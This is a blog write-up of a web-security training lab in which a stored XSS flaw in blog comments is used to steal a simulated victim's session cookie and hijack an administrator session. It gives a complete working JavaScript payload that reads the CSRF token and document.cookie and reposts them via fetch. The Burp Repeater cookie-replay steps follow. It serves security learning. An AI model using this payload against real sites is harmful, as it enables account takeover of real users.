Exploiting Cross-Site Scripting to Steal Cookies

Marduk I Am
9 min readFeb 14, 2024

--

Welcome back!

Lab Description:

This lab contains a stored XSS vulnerability in the blog comments function. A simulated victim user views all comments after they are posted. To solve the lab, exploit the vulnerability to exfiltrate the victim’s session cookie, then use this cookie to impersonate the victim.

  • Note: To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external systems. To solve the lab, you must use Burp Collaborator’s default public server.
  • Some users will notice that there is an alternative solution to this lab that does not require Burp Collaborator. However, it is far less subtle than exfiltrating the cookie.

Need to Know:

In order to use Burp Collaborator you will need to have Burp Suite Pro (not free) is needed. I do not have Burp Pro Edition so I will be solving this lab the ‘alternative way’. I will be using Burp Suite Community Edition (free), if you wanted to follow along.

The alternative lab solution will be a little involved, starting with a cross-site scripting (XSS) attack. This XSS vulnerability will then be leveraged to execute a cross-site request forgery (CSRF) attack aimed at stealing a session cookie. Finally, this sequence of attacks will enable the hijacking of an active session.

I considered doing a lab write-up or two on cross-site request forgery’s before doing this lab but I think we can make it through without. I will, though, give a brief rundown.

Cross-Site Request Forgery (CSRF):

Cross-Site Request Forgery (CSRF) is a type of attack where an attacker tricks a user into unknowingly executing actions on a web application in which they are authenticated. The attacker typically crafts a malicious request (like we’re about to do) and tricks the victim into submitting it, often by embedding it in a legitimate-looking link or form within a website that the victim visits.

The danger lies in the fact that the victim’s browser includes any relevant authentication credentials (i.e. session cookies) with the request, making it appear legitimate to the web application. As a result, the attacker can perform actions on behalf of the victim without their consent, potentially leading to unauthorized transactions, data manipulation, or other malicious activities.

CSRF Tokens:

CSRF tokens, or Cross-Site Request Forgery tokens, are randomly generated values used to mitigate CSRF attacks in web applications. The tokens are typically generated by the server when a user loads a form or accesses a protected resource.

These tokens are then included in the HTML form or appended to URLs as hidden fields or parameters. When the user submits the form, or makes a request, the CSRF token is sent along with the other form data or request parameters.

The server validates the CSRF token to ensure that it matches the expected value for the user’s session, thereby confirming that the request originated from a legitimate source and preventing CSRF attacks.

Session Cookies:

Session cookies, also known as session identifiers or session tokens, are small pieces of data that are temporarily stored by a web browser during a user’s session on a website. They are used to remember preceding events or user interactions or information between consecutive HTTP requests and responses during a user’s interaction with a web application.

They are essential for maintaining user sessions, preserving user authentication status, and providing a personalized browsing experience.

That being said, let’s try to steal one!

Getting Started:

Access the lab and you’ll be brought back to our simple blog page. No search function, this time, but you can leave comments for each blog post. This is where we will find our vulnerability.

We first need to get a sense of this site’s functionality when it comes to posting a comment. How is it processed? This is where Burp comes in.

With Burp running, navigate your way to your favorite blog post and scroll down to the comment form. Fill out the required information: name, email, and website.

XSS Attack:

In the comment box we can test out a simple proof of concept (POC) payload to verify we can run arbitrary JavaScript on the victim’s browser.

<!-- POC payload example -->
<script>alert('M4rdukwasH3re')</script>
  • <script> </script> — HTML element used to embed executable code or data.
  • alert() — JavaScript function that creates a pop-up alert window.
  • ‘M4rdukwasH3re’ — Message to be displayed in pop-up window. Can be anything you like or nothing at all.
Comment form with a XSS POC payload in the comment box

Click ‘Post Comment’. Then, on the ‘Thank you for your comment’ page, click ‘Back to Blog’ to trigger our alert window.

Alert pop-up window

The site, is indeed, susceptible to XSS attacks.

Click ‘OK’.

Alternative Solution Track:

This is where we deviate from using Burp Collaborator. Following our successful XSS attack, we will begin to learn more about session cookies and CSRF tokens.

Specifically, we will explore how to manipulate and steal session cookies to hijack user sessions and investigate methods for generating and handling CSRF tokens to exploit vulnerabilities.

Gathering Info for CSRF Attack:

Let’s take a closer look at our POST request in Burp. All the information we need from our “victim’s” browser can be found in our ‘/post/comment’ request.

  • In order to know how to get what we need from victim’s browser, we need to know how to find it on ours. It makes crafting our payload easier.

Find and click on your comment post on the left hand side of the Burp target site map.

Screenshot of Burp, showing where our session cookie, CSRF token, and our our POC payload is.

Near the top of your request is a header called ‘Cookie:’. This is your session cookie. Also, look at the bottom of the request, the line of parameters beginning with ‘csrf=’. This first one is your CSRF token.

  • Remember this line of parameters, though. These are the required fields on the comment form we filled out. We’ll need these later when we are crafting our payload.

You can also easily access this information in your DOM. In your browser, right-click in the comment box and select ‘Inspect’ from the drop down. This brings up your developer tools.

<form action=”/post/comment” method=”POST” enctype=”application/x-www-form-urlencoded”> <input required type=”hidden” name=”csrf” value=”uKBG6nKCcfC7oLo8VvkRbR3pQZXHqupD”> <input required type=”hidden” name=”postId” value=”7"> <label>Comment:</label> <textarea required rows=”12" cols=”300" name=”comment”></textarea> <label>Name:</label> <input required type=”text” name=”name”> <label>Email:</label> <input required type=”email” name=

Here is the <form> element:

<form action="/post/comment" method="POST" enctype="application/x-www-form-urlencoded">
<input required type="hidden" name="csrf" value="uKBG6nKCcfC7oLo8VvkRbR3pQZXHqupD">
<input required type="hidden" name="postId" value="7">
<label>Comment:</label>
<textarea required rows="12" cols="300" name="comment"></textarea>
<label>Name:</label>
<input required type="text" name="name">
<label>Email:</label>
<input required type="email" name="email">
<label>Website:</label>
<input pattern="(http:|https:).+" type="text" name="website">
<button class="button" type="submit">Post Comment</button>
</form>

The line containing the <input> tag right below the opening <form> tag contains our CSRF token. Notice it is required but ‘type=“hidden”’, (not displayed on the page). This input field is treated as a regular input field, like name and email, but it’s contents are filled in automatically by the server and can not be seen on the page.

  • Note the ‘name’ of the required ones: csrf, postId, comment, name, and email.

Let’s find our CSRF another way. Click on the ‘Console’ tab at the top of the DOM.

DOM-console view with arrows showing where the ‘console’ tab is, document.getElementsByName(‘csrf’)[0].value, and the csrf value returned.

Retrieving the CSRF token value from the DOM is easy. Execute the following command in the web console of the developer tools:

// Retrieves value of the first element with the name "csrf" in the document
document.getElementsByName('csrf')[0].value

To retrieve the session cookie the same way execute a command you have most likely entered into an alert() function before. Simply type the following:

// Seem familiar?
document.cookie

Your session cookie will be returned.

Crafting Your CSRF Payload for CSRF Attack:

We are crafting a payload that we will post in our comment. When a user views our comment, our payload will automatically post another comment, as the victim, containing the victim’s session cookie.

In your favorite code editor, create a new JavaScript file.

First we need to use JavaScript’s FormData() constructor to create an empty ‘FormData’ object that is populated with sets of key/value pairs (i.e. name:Daisy, species: dog, age: 7).

// Declare variable data
var data = new FormData();

You can add pairs easily with the ‘.append()’ method to populate to new object. Here we are going to append the required fields from earlier: csrf, postId, comment, name, and email.

//var data = new FormData();
// Append data with the required fields: csrf, postId, comment, name, and email
data.append('csrf', token); // We will define token next
data.append('postId', 8); // Any number for now. Will change later
data.append('comment', document.cookie) // Remember we want them to post their session cookie
data.append('name', 'victim')
data.append('email', 'blah@email.com')
data.append('website', 'http://blah.com') // Going to include it anyway. Doesn't specify 'required'

Define ‘token’.

// Declaring token with familiar line
var token = document.getElementsByName('csrf')[0].value
/*
var data = new FormData();

data.append('csrf', token);
data.append('postId', 8);
data.append('comment', document.cookie);
data.append('name', 'victim');
data.append('email', 'blah@email.com');
data.append('website', 'http://blah.com');
*/

Once populated, the ‘FormData’ object can be used as the body of an HTTP request, typically in conjunction with the fetch() API or ‘XMLHttpRequest’. This allows you to send form data to a server asynchronously.

/*
var token = document.getElementsByName('csrf')[0].value
var data = new FormData();

data.append('csrf', token);
data.append('postId', 8);
data.append('comment', document.cookie);
data.append('name', 'victim');
data.append('email', 'blah@email.com');
data.append('website', 'http://blah.com');
*/
// Using fetch() to send 'data' as a 'POST' to '/post/comment'
fetch('/post/comment', {
method: 'POST',
mode: 'no-cors',
body: data
});

To ensure that your JavaScript code runs at the appropriate time, reducing the likelihood of errors, we need to add an event listener so our code does not execute until the DOM has completely loaded.

// Addition of the event listener
window.addEventListener('DOMContentLoaded', function() {
/*
var token = document.getElementsByName('csrf')[0].value
var data = new FormData();

data.append('csrf', token);
data.append('postId', 8);
data.append('comment', document.cookie);
data.append('name', 'victim');
data.append('email', 'blah@email.com');
data.append('website', 'http://blah.com');

fetch('/post/comment', {
method: 'POST',
mode: 'no-cors',
body: data
});
*/
}); // Don't forget to close your event listener

Now that we have our completed JavaScript code wrap it in <script> tags and it will be ready to go:

<script>
window.addEventListener('DOMContentLoaded', function() {

var token = document.getElementsByName('csrf')[0].value
var data = new FormData();

data.append('csrf', token);
data.append('postId', 8);
data.append('comment', document.cookie);
data.append('name', 'victim');
data.append('email', 'blah@email.com');
data.append('website', 'http://blah.com');

fetch('/post/comment', {
method: 'POST',
mode: 'no-cors',
body: data
});

});
</script>

CSRF Attack:

Head back to the blog page and navigate to another comment form. Paste your completed JavaScript code inside the comment box and fill in the required areas.

Filled out comment form with JavaScript payload in the comment box.

Click ‘Post Comment’. Then, on the ‘Thank you for your comment’ page, click ‘Back to Blog’ (during this time the site is simulating a victim viewing our comment).

Scroll down and you’ll see your name hyperlinked, then below that, a victim has posted their session cookie!

Victim posted session cookie as a comment post

Session Hijacking | Lab Solution:

We’ve managed to obtain the victim’s session cookie. Next, we’ll explore the possibility of escalating this access to a session hijacking scenario.

Copy your newly obtained cookie including ‘session=’ and head back to Burp.

In the ‘Target’ tab of Burp Suite, locate the ‘my-account’ page in the left-hand tree view. Right-click on this page and choose ‘Send to Repeater’ from the drop-down menu. The ‘Repeater’ tab should light up orange.

Target tab view in Burp showing where the ‘Target’ and ‘Repeater’ tabs are and also where the ‘my-account’ page is located

Click on the ‘Repeater’ tab. Our request will be on the left side. Directly under ‘Cache-Control:’ add the stolen session cookie by typing ‘Cookie:’, a space, then the session cookie. It will look like the following:

Cookie: session=AMwzPXBd9bGnSjLGkre7Uh7PGMa7THQr

Click ‘Send’. You should get a ‘200 OK’ response on the right side.

Burp repeater tab showing where to add cookie and where send button is. Also shows ‘200 OK’ response from server.

Click ‘Render’ on the response (right) side.

Burp repeater showing response side after clicking ‘Render’. We are now ‘administrator’

It will not let you know you solved this lab in Burp. Head back over to the blog page and you will be notified of your success!

Banner saying Congratulations you solved the lab.

Congratulations! Another one solved! Keep up the outstanding work!

Overall this was a fun, involved lab designed to provide a comprehensive understanding of XSS, CSRF, session hijacking. By leveraging XSS attacks, we learned to inject malicious scripts into web pages, exfiltrate session cookies, and use them to impersonate victims, thereby gaining unauthorized access to their accounts.

Thank you for reading. See you next time!

--

--

Marduk I Am

Cybersecurity enthusiast. Currently focusing on write-ups and bug bounties. Twitter: @marduk_I_am | Mastodon: @Marduk_James@infosec.exchange